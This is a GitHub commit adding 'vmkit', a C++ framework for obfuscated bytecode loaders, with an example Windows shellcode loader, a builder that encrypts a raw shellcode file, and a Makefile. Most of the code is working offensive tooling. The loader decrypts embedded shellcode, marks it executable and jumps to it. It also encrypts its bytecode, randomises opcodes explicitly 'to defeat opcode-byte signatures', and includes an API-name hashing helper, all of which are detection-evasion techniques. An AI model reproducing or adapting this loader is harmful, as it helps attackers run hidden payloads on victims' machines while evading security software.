Add files via upload

This commit is contained in:
MochaByte
2026-05-10 20:15:59 +02:00
committed by GitHub
parent 3786f0773d
commit 19a5e162a0
6 changed files with 676 additions and 0 deletions
+64
View File
@@ -0,0 +1,64 @@
# vmkit: example build.
# Builds the portable example loader and its companion builder.
#
# Usage:
# make # build both example_loader and example_builder
# make run-loader # build + run the example loader
# make run-builder # build + run the example builder
# make clean # remove built artifacts
#
# Override CXX or CXXFLAGS as needed:
# make CXX=g++
# make CXXFLAGS="-std=c++20 -O3"
# Use = (not ?=) so we override Make's built-in default of g++.
# Override on the command line: make CXX=g++
CXX = clang++
CXXFLAGS = -std=c++20 -O2 -Wall -Wextra -Wpedantic
INCLUDES := -I.
# Detect MSYS2 / MinGW / Cygwin shells where MSYS-style /tmp paths leak into
# TMP/TEMP and break Microsoft's link.exe. In that case we point both at
# LOCALAPPDATA\Temp (resolved by the recipe shell at build time).
UNAME_S := $(shell uname -s 2>/dev/null)
ifneq (,$(filter MSYS% MINGW% CYGWIN%,$(UNAME_S)))
EXE := .exe
RM := rm -f
TMP_FIX := TMP="$$LOCALAPPDATA\\Temp" TEMP="$$LOCALAPPDATA\\Temp"
else ifeq ($(OS),Windows_NT)
EXE := .exe
RM := rm -f
TMP_FIX :=
else
EXE :=
RM := rm -f
TMP_FIX :=
endif
EXAMPLES := example/example_loader$(EXE) example/example_builder$(EXE)
.PHONY: all clean run-loader run-builder
all: $(EXAMPLES)
# The builder reads example/payload.bin (raw shellcode) and emits the
# encrypted bytecode + payload header that the loader consumes. If you change
# payload.bin, embedded.h regenerates and the loader picks it up automatically.
example/embedded.h: example/example_builder$(EXE) example/payload.bin
./$< example/payload.bin > $@
# Loader depends on the generated bytecode header.
example/example_loader$(EXE): example/example_loader.cpp vm_loader.hpp example/embedded.h
$(TMP_FIX) $(CXX) $(CXXFLAGS) $(INCLUDES) $< -o $@
example/%$(EXE): example/%.cpp vm_loader.hpp
$(TMP_FIX) $(CXX) $(CXXFLAGS) $(INCLUDES) $< -o $@
run-loader: example/example_loader$(EXE)
./$<
run-builder: example/example_builder$(EXE)
./$<
clean:
-$(RM) $(EXAMPLES) example/embedded.h
+6
View File
@@ -0,0 +1,6 @@
-std=c++20
-Wall
-Wextra
-Wpedantic
-fno-exceptions
-fno-rtti
+186
View File
@@ -0,0 +1,186 @@
/*
BSD 2-Clause License
Copyright (c) 2026, MochaByte
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
example_builder.cpp : the tiny builder companion to example_loader.cpp.
Reads a raw shellcode file from argv[1] (typically example/payload.bin),
then emits a self-contained C++ header on stdout containing:
- g_ir_blob[] : the encrypted, opcode-randomized bytecode (5 ops)
- g_ir_seed : the 32-bit seed both sides use to derive XOR keys
- g_ir_payload[] : the encrypted shellcode bytes
- g_ir_payload_size: how many bytes the payload is
The Makefile redirects that header into example/embedded.h, which the
loader then #include's. Result: a real round-trip where what the builder
writes is exactly what the loader reads back, decrypts, and runs ^^.
The bytecode pipeline this produces is the classic loader sequence:
alloc -> write encrypted -> decrypt in place -> protect RX -> jump.
Build:
clang++ -std=c++20 -O2 -I.. example_builder.cpp -o example_builder
Run:
./example_builder example/payload.bin > example/embedded.h
*/
#include "../vm_loader.hpp"
#include <array>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <fstream>
#include <span>
#include <vector>
// Mirror the loader's opcode definition. In a real project this would live in
// a shared header consumed by both sides.
enum class LoaderOp : std::uint8_t {
AllocRegion = 0,
WritePayload = 1,
DecryptRegion = 2,
ProtectRX = 3,
ExecRegion = 4,
};
using OpT = vmkit::Op<LoaderOp>;
// Forward map: real opcode -> randomized opcode written into the bytecode.
// Must be the inverse of the loader's reverse map. Shuffle these around per
// build to defeat opcode-byte signatures.
constexpr vmkit::OpcodeReverseMap forward_map() noexcept {
vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map();
m[static_cast<std::uint8_t>(LoaderOp::AllocRegion)] = 4;
m[static_cast<std::uint8_t>(LoaderOp::WritePayload)] = 2;
m[static_cast<std::uint8_t>(LoaderOp::DecryptRegion)] = 0;
m[static_cast<std::uint8_t>(LoaderOp::ProtectRX)] = 1;
m[static_cast<std::uint8_t>(LoaderOp::ExecRegion)] = 3;
return m;
}
// Build one op with its opcode pre-encoded through the forward map.
constexpr OpT make_op(LoaderOp real, std::uint32_t a = 0, std::uint32_t b = 0,
std::uint64_t x = 0) noexcept {
constexpr auto fmap = forward_map();
OpT op{};
op.opcode = LoaderOp{fmap[static_cast<std::uint8_t>(real)]};
op.u32[0] = a;
op.u32[1] = b;
op.u64[0] = x;
return op;
}
// Derive a 32-byte XOR key from a seed. Mix in a constant so identical seeds
// across projects don't produce identical keys. Both sides use this for both
// the bytecode and the payload, so keep it in sync with the loader.
static std::array<std::uint8_t, 32> derive_key(std::uint32_t seed) noexcept {
std::array<std::uint8_t, 32> key{};
constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'};
for (std::size_t i = 0; i < key.size(); ++i) {
key[i] = static_cast<std::uint8_t>(base[i % 6] + (seed & 0xFF) + i * 13);
}
return key;
}
// Slurp a binary file into a vector. Used to pull the shellcode in.
static std::vector<std::uint8_t> read_file(const char* path) {
std::ifstream f(path, std::ios::binary | std::ios::ate);
if (!f) {
std::fprintf(stderr, "example_builder: cannot open '%s'\n", path);
std::exit(1);
}
const std::streamsize size = f.tellg();
f.seekg(0, std::ios::beg);
std::vector<std::uint8_t> buf(static_cast<std::size_t>(size));
if (size > 0 && !f.read(reinterpret_cast<char*>(buf.data()), size)) {
std::fprintf(stderr, "example_builder: failed reading '%s'\n", path);
std::exit(1);
}
return buf;
}
// Print a span as a comma-separated hex array, 16 bytes per line.
static void emit_hex_array(std::span<const std::uint8_t> data) {
for (std::size_t i = 0; i < data.size(); ++i) {
std::printf("0x%02X,%s", data[i], (i % 16 == 15) ? "\n " : " ");
}
}
int main(int argc, char** argv) {
if (argc < 2) {
std::fprintf(stderr, "usage: %s <payload.bin>\n", argv[0]);
return 1;
}
// Pull the plaintext shellcode in.
auto payload = read_file(argv[1]);
const std::size_t payload_size = payload.size();
// The 5-op pipeline the loader will run:
// alloc R0 -> write encrypted payload -> decrypt R0 -> protect RX -> jump.
OpT program[] = {
make_op(LoaderOp::AllocRegion, /*region=*/0, /*-*/0, /*size=*/payload_size),
make_op(LoaderOp::WritePayload, /*region=*/0, /*size=*/static_cast<std::uint32_t>(payload_size), /*src_off=*/0),
make_op(LoaderOp::DecryptRegion, /*region=*/0, /*-*/0, /*size=*/payload_size),
make_op(LoaderOp::ProtectRX, /*region=*/0, /*-*/0, /*size=*/payload_size),
make_op(LoaderOp::ExecRegion, /*region=*/0),
};
auto blob = std::span{
reinterpret_cast<std::uint8_t*>(program),
sizeof(program),
};
// Encrypt both the bytecode and the payload with a key derived from the
// same seed. Splitting them into two keys is straightforward; we keep one
// here for simplicity.
constexpr std::uint32_t seed = 0xC0FFEE;
const auto key = derive_key(seed);
vmkit::xor_codec::apply(blob, key);
vmkit::xor_codec::apply(std::span<std::uint8_t>(payload), key);
// Emit the self-contained header.
std::printf("#pragma once\n");
std::printf("// Generated by example_builder. Do not edit by hand.\n");
std::printf("// seed = 0x%08X | bytecode = %zu bytes (%zu ops) | payload = %zu bytes\n",
seed, blob.size(), blob.size() / sizeof(OpT), payload_size);
std::printf("#include <cstddef>\n");
std::printf("#include <cstdint>\n\n");
std::printf("inline constexpr unsigned char g_ir_blob[] = {\n ");
emit_hex_array(blob);
std::printf("\n};\n");
std::printf("inline constexpr std::uint32_t g_ir_seed = 0x%08Xu;\n\n", seed);
std::printf("inline constexpr unsigned char g_ir_payload[] = {\n ");
emit_hex_array(std::span<const std::uint8_t>(payload));
std::printf("\n};\n");
std::printf("inline constexpr std::size_t g_ir_payload_size = %zu;\n", payload_size);
return 0;
}
+180
View File
@@ -0,0 +1,180 @@
/*
BSD 2-Clause License
Copyright (c) 2026, MochaByte
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
example_loader.cpp : small Windows shellcode loader driven by vmkit.
Runs a 5-op IR program against an embedded, encrypted shellcode payload:
1. AllocRegion(r=0, size) -> VirtualAlloc(PAGE_READWRITE)
2. WritePayload(r=0, src_off, size) -> memcpy from g_ir_payload (still encrypted)
3. DecryptRegion(r=0, size) -> XOR in place with the seed-derived key
4. ProtectRX(r=0, size) -> VirtualProtect(PAGE_EXECUTE_READ)
5. ExecRegion(r=0) -> cast to fn ptr and jump
Both the bytecode (g_ir_blob) and the shellcode (g_ir_payload) come from
example_builder.cpp, which the Makefile runs against example/payload.bin to
generate example/embedded.h. So this is a real round-trip: builder reads a
raw shellcode + emits encrypted artifacts, loader includes them, decrypts,
and runs ^^.
Build:
make
*/
#include "../vm_loader.hpp"
#include "embedded.h" // generated by example_builder
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <array>
#include <cstring>
enum class LoaderOp : std::uint8_t {
AllocRegion = 0,
WritePayload = 1,
DecryptRegion = 2,
ProtectRX = 3,
ExecRegion = 4,
};
struct LoaderContext {
void* regions[8] = {};
};
using OpT = vmkit::Op<LoaderOp>;
template <>
struct vmkit::Handler<LoaderOp::AllocRegion> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
ctx.regions[region_id] =
VirtualAlloc(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
}
};
template <>
struct vmkit::Handler<LoaderOp::WritePayload> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const std::uint32_t size = op.u32[1];
const std::uint64_t src_off = op.u64[0];
std::memcpy(ctx.regions[region_id], g_ir_payload + src_off, size);
}
};
// Mirror of the builder's derive_key. Both sides MUST agree on this algorithm,
// otherwise decryption produces garbage and we end up jumping into nonsense.
static std::array<std::uint8_t, 32> derive_key(std::uint32_t seed) noexcept {
std::array<std::uint8_t, 32> key{};
constexpr std::uint8_t base[6] = {'v', 'm', 'k', 'i', 't', '!'};
for (std::size_t i = 0; i < key.size(); ++i) {
key[i] = static_cast<std::uint8_t>(base[i % 6] + (seed & 0xFF) + i * 13);
}
return key;
}
template <>
struct vmkit::Handler<LoaderOp::DecryptRegion> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const std::size_t size = static_cast<std::size_t>(op.u64[0]);
const auto key = derive_key(g_ir_seed);
vmkit::xor_codec::apply(
std::span<std::uint8_t>(static_cast<std::uint8_t*>(ctx.regions[region_id]), size),
std::span<const std::uint8_t>(key));
}
};
template <>
struct vmkit::Handler<LoaderOp::ProtectRX> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
const SIZE_T size = static_cast<SIZE_T>(op.u64[0]);
DWORD old_protect = 0;
VirtualProtect(ctx.regions[region_id], size, PAGE_EXECUTE_READ, &old_protect);
}
};
template <>
struct vmkit::Handler<LoaderOp::ExecRegion> {
static void execute(LoaderContext& ctx, const OpT& op) noexcept {
const std::uint32_t region_id = op.u32[0];
using shellcode_fn = void (*)();
auto fn = reinterpret_cast<shellcode_fn>(ctx.regions[region_id]);
fn();
}
};
struct LoaderConfig : vmkit::DefaultConfig {
// Opcode bytes in g_ir_blob are randomized; map them back through this table.
static constexpr bool opcode_randomization = true;
// g_ir_blob itself is XOR-encrypted; decrypt_bytecode runs once before dispatch.
static constexpr bool bytecode_xor_encrypted = true;
// Inverse of the builder's forward map.
static constexpr vmkit::OpcodeReverseMap opcode_reverse_map = [] {
vmkit::OpcodeReverseMap m = vmkit::identity_reverse_map();
m[0] = static_cast<std::uint8_t>(LoaderOp::DecryptRegion);
m[1] = static_cast<std::uint8_t>(LoaderOp::ProtectRX);
m[2] = static_cast<std::uint8_t>(LoaderOp::WritePayload);
m[3] = static_cast<std::uint8_t>(LoaderOp::ExecRegion);
m[4] = static_cast<std::uint8_t>(LoaderOp::AllocRegion);
return m;
}();
// In-place XOR with the same key the builder used.
static void decrypt_bytecode(std::span<std::uint8_t> blob,
std::uint32_t seed) noexcept {
const auto key = derive_key(seed);
vmkit::xor_codec::apply(blob, std::span<const std::uint8_t>(key));
}
};
int main() {
// Copy the encrypted bytecode from embedded.h into a mutable buffer, since
// execute() decrypts it in place.
std::array<std::uint8_t, sizeof(g_ir_blob)> blob_buf{};
std::memcpy(blob_buf.data(), g_ir_blob, sizeof(g_ir_blob));
LoaderContext ctx{};
vmkit::Vm<LoaderOp, LoaderContext, LoaderConfig,
vmkit::OpcodeList<LoaderOp::AllocRegion,
LoaderOp::WritePayload,
LoaderOp::DecryptRegion,
LoaderOp::ProtectRX,
LoaderOp::ExecRegion>> vm;
vm.execute(std::span<std::uint8_t>(blob_buf), ctx, g_ir_seed);
for (auto* p : ctx.regions) {
if (p) VirtualFree(p, 0, MEM_RELEASE);
}
return 0;
}
Binary file not shown.
+240
View File
@@ -0,0 +1,240 @@
/*
BSD 2-Clause License
Copyright (c) 2026, MochaByte
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
/*
vmkit: a header-only, freestanding VM template for IR-bytecode loaders.
What you get out of the box:
* Single header. No CRT, no STL allocators, no exceptions, no RTTI.
* Plays nicely with /NODEFAULTLIB and -nostdlib++.
* Zero-cost dispatch through a constexpr 256-entry function-pointer table.
* Adding an opcode means adding a Handler<Op> specialization. No giant
switch to keep editing every time.
The pattern in three lines:
1. Builder emits a sequence of fixed-size Op records, optionally XOR-encrypted.
2. Loader hands the blob to Vm::execute, which decrypts, decodes, dispatches.
3. Per-opcode behavior lives in Handler<Op> specializations on your side.
Usage:
enum class MyOp : std::uint8_t { Alloc = 0, Write = 1, Exec = 2 };
struct MyContext { ... whatever state your loader needs ... };
template<> struct vmkit::Handler<MyOp::Alloc> {
static void execute(MyContext& ctx, const vmkit::Op<MyOp>& op) noexcept;
};
// ... and so on for Write, Exec ...
vmkit::Vm<MyOp, MyContext, vmkit::DefaultConfig,
vmkit::OpcodeList<MyOp::Alloc, MyOp::Write, MyOp::Exec>> vm;
vm.execute(blob_span, ctx, seed);
One constraint worth knowing: the opcode enum's underlying type must fit in
a uint8_t (0..255). The dispatch table is exactly 256 entries: same size as
the opcode reverse map used for randomization ^^.
*/
#include <array>
#include <cstddef>
#include <cstdint>
#include <span>
namespace vmkit {
// Op: a single fixed-size IR operation.
// Tune slot counts via template params; default 8x u32 + 4x u64 covers most loaders.
template <typename Opcode, std::size_t U32Slots = 8, std::size_t U64Slots = 4>
struct alignas(8) Op {
Opcode opcode;
std::uint32_t u32[U32Slots];
std::uint64_t u64[U64Slots];
};
// Handler: primary template, intentionally undefined.
// User specializes once per opcode. A missing specialization for a listed
// opcode is a hard compile error (see static_assert in Vm::dispatch_to).
template <auto Opcode>
struct Handler;
// OpcodeList: pack of opcode values the VM should know how to dispatch.
// Anything not in this list maps to unknown_op (a no-op).
template <auto... Ops>
struct OpcodeList {};
// HasHandler: concept used for compile-time validation.
template <auto Op_, typename Ctx, typename OpT>
concept HasHandler = requires(Ctx& ctx, const OpT& op) {
Handler<Op_>::execute(ctx, op);
};
// xor_codec: minimal in-place XOR for bytecode and context blobs.
namespace xor_codec {
constexpr void apply(std::span<std::uint8_t> data,
std::span<const std::uint8_t> key) noexcept {
for (std::size_t i = 0; i < data.size(); ++i) {
data[i] ^= key[i % key.size()];
}
}
} // namespace xor_codec
// api_hash: Jenkins-OAAT with seed rotation, evaluated at compile time.
// Use: constexpr auto h = vmkit::api_hash::oaat("NtAllocateVirtualMemory");
namespace api_hash {
constexpr std::uint32_t oaat(const char* s, std::uint32_t seed = 1) noexcept {
std::uint32_t h = 0;
for (std::size_t i = 0; s[i] != '\0'; ++i) {
h += static_cast<std::uint8_t>(s[i]);
h += h << seed;
h ^= h >> 6;
}
h += h << 3;
h ^= h >> 11;
h += h << 15;
return h;
}
}
// Reverse opcode map: 256-byte table for opcode randomization.
// Builder writes the forward (real -> randomized) map into bytecode;
// runtime applies the inverse here before dispatch.
using OpcodeReverseMap = std::array<std::uint8_t, 256>;
constexpr OpcodeReverseMap identity_reverse_map() noexcept {
OpcodeReverseMap m{};
for (std::size_t i = 0; i < 256; ++i) {
m[i] = static_cast<std::uint8_t>(i);
}
return m;
}
// DefaultConfig: disabled-by-default obfuscation flags.
// Inherit and override flags + hooks for the features you want.
struct DefaultConfig {
// Feature flags
static constexpr bool opcode_randomization = false;
static constexpr bool bytecode_xor_encrypted = false;
static constexpr bool per_op_context_encryption = false;
// Reverse map used iff opcode_randomization is true
static constexpr OpcodeReverseMap opcode_reverse_map = identity_reverse_map();
// Hooks: called only when their corresponding flag is true.
// bytecode_xor_encrypted -> decrypt_bytecode
static void decrypt_bytecode(std::span<std::uint8_t> /*blob*/,
std::uint32_t /*seed*/) noexcept {}
// per_op_context_encryption -> {encrypt,decrypt}_context
template <typename Ctx>
static void encrypt_context(Ctx& /*ctx*/, std::uint32_t /*op_index*/) noexcept {}
template <typename Ctx>
static void decrypt_context(Ctx& /*ctx*/, std::uint32_t /*op_index*/) noexcept {}
};
// Vm: the dispatcher. Specialized on the OpcodeList for per-opcode validation.
template <typename Opcode,
typename Ctx,
typename Cfg = DefaultConfig,
typename Ops = OpcodeList<>>
class Vm;
template <typename Opcode, typename Ctx, typename Cfg, auto... Ops>
class Vm<Opcode, Ctx, Cfg, OpcodeList<Ops...>> {
public:
using OpType = Op<Opcode>;
using Dispatcher = void (*)(Ctx&, const OpType&) noexcept;
// Execute a (possibly encrypted) bytecode blob.
// blob is mutable because in-place decryption may rewrite it.
void execute(std::span<std::uint8_t> blob,
Ctx& ctx,
std::uint32_t seed = 0) const noexcept {
if constexpr (Cfg::bytecode_xor_encrypted) {
Cfg::decrypt_bytecode(blob, seed);
}
const std::size_t count = blob.size() / sizeof(OpType);
const auto* ops = reinterpret_cast<const OpType*>(blob.data());
for (std::size_t i = 0; i < count; ++i) {
if constexpr (Cfg::per_op_context_encryption) {
if (i > 0) {
Cfg::decrypt_context(ctx, static_cast<std::uint32_t>(i));
}
}
const OpType& op = ops[i];
std::uint8_t raw = static_cast<std::uint8_t>(op.opcode);
if constexpr (Cfg::opcode_randomization) {
raw = Cfg::opcode_reverse_map[raw];
}
dispatch_table[raw](ctx, op);
if constexpr (Cfg::per_op_context_encryption) {
Cfg::encrypt_context(ctx, static_cast<std::uint32_t>(i + 1));
}
}
if constexpr (Cfg::per_op_context_encryption) {
if (count > 0) {
Cfg::decrypt_context(ctx, static_cast<std::uint32_t>(count));
}
}
}
private:
template <auto Op_>
static void dispatch_to(Ctx& ctx, const OpType& op) noexcept {
static_assert(HasHandler<Op_, Ctx, OpType>, "vmkit: missing Handler<Op> specialization for a listed opcode");
Handler<Op_>::execute(ctx, op);
}
static void unknown_op(Ctx& /*ctx*/, const OpType& /*op*/) noexcept {}
static constexpr std::array<Dispatcher, 256> build_table() noexcept {
std::array<Dispatcher, 256> t{};
for (auto& f : t) {
f = &unknown_op;
}
((t[static_cast<std::size_t>(Ops)] = &dispatch_to<Ops>), ...);
return t;
}
static constexpr std::array<Dispatcher, 256> dispatch_table = build_table();
};
}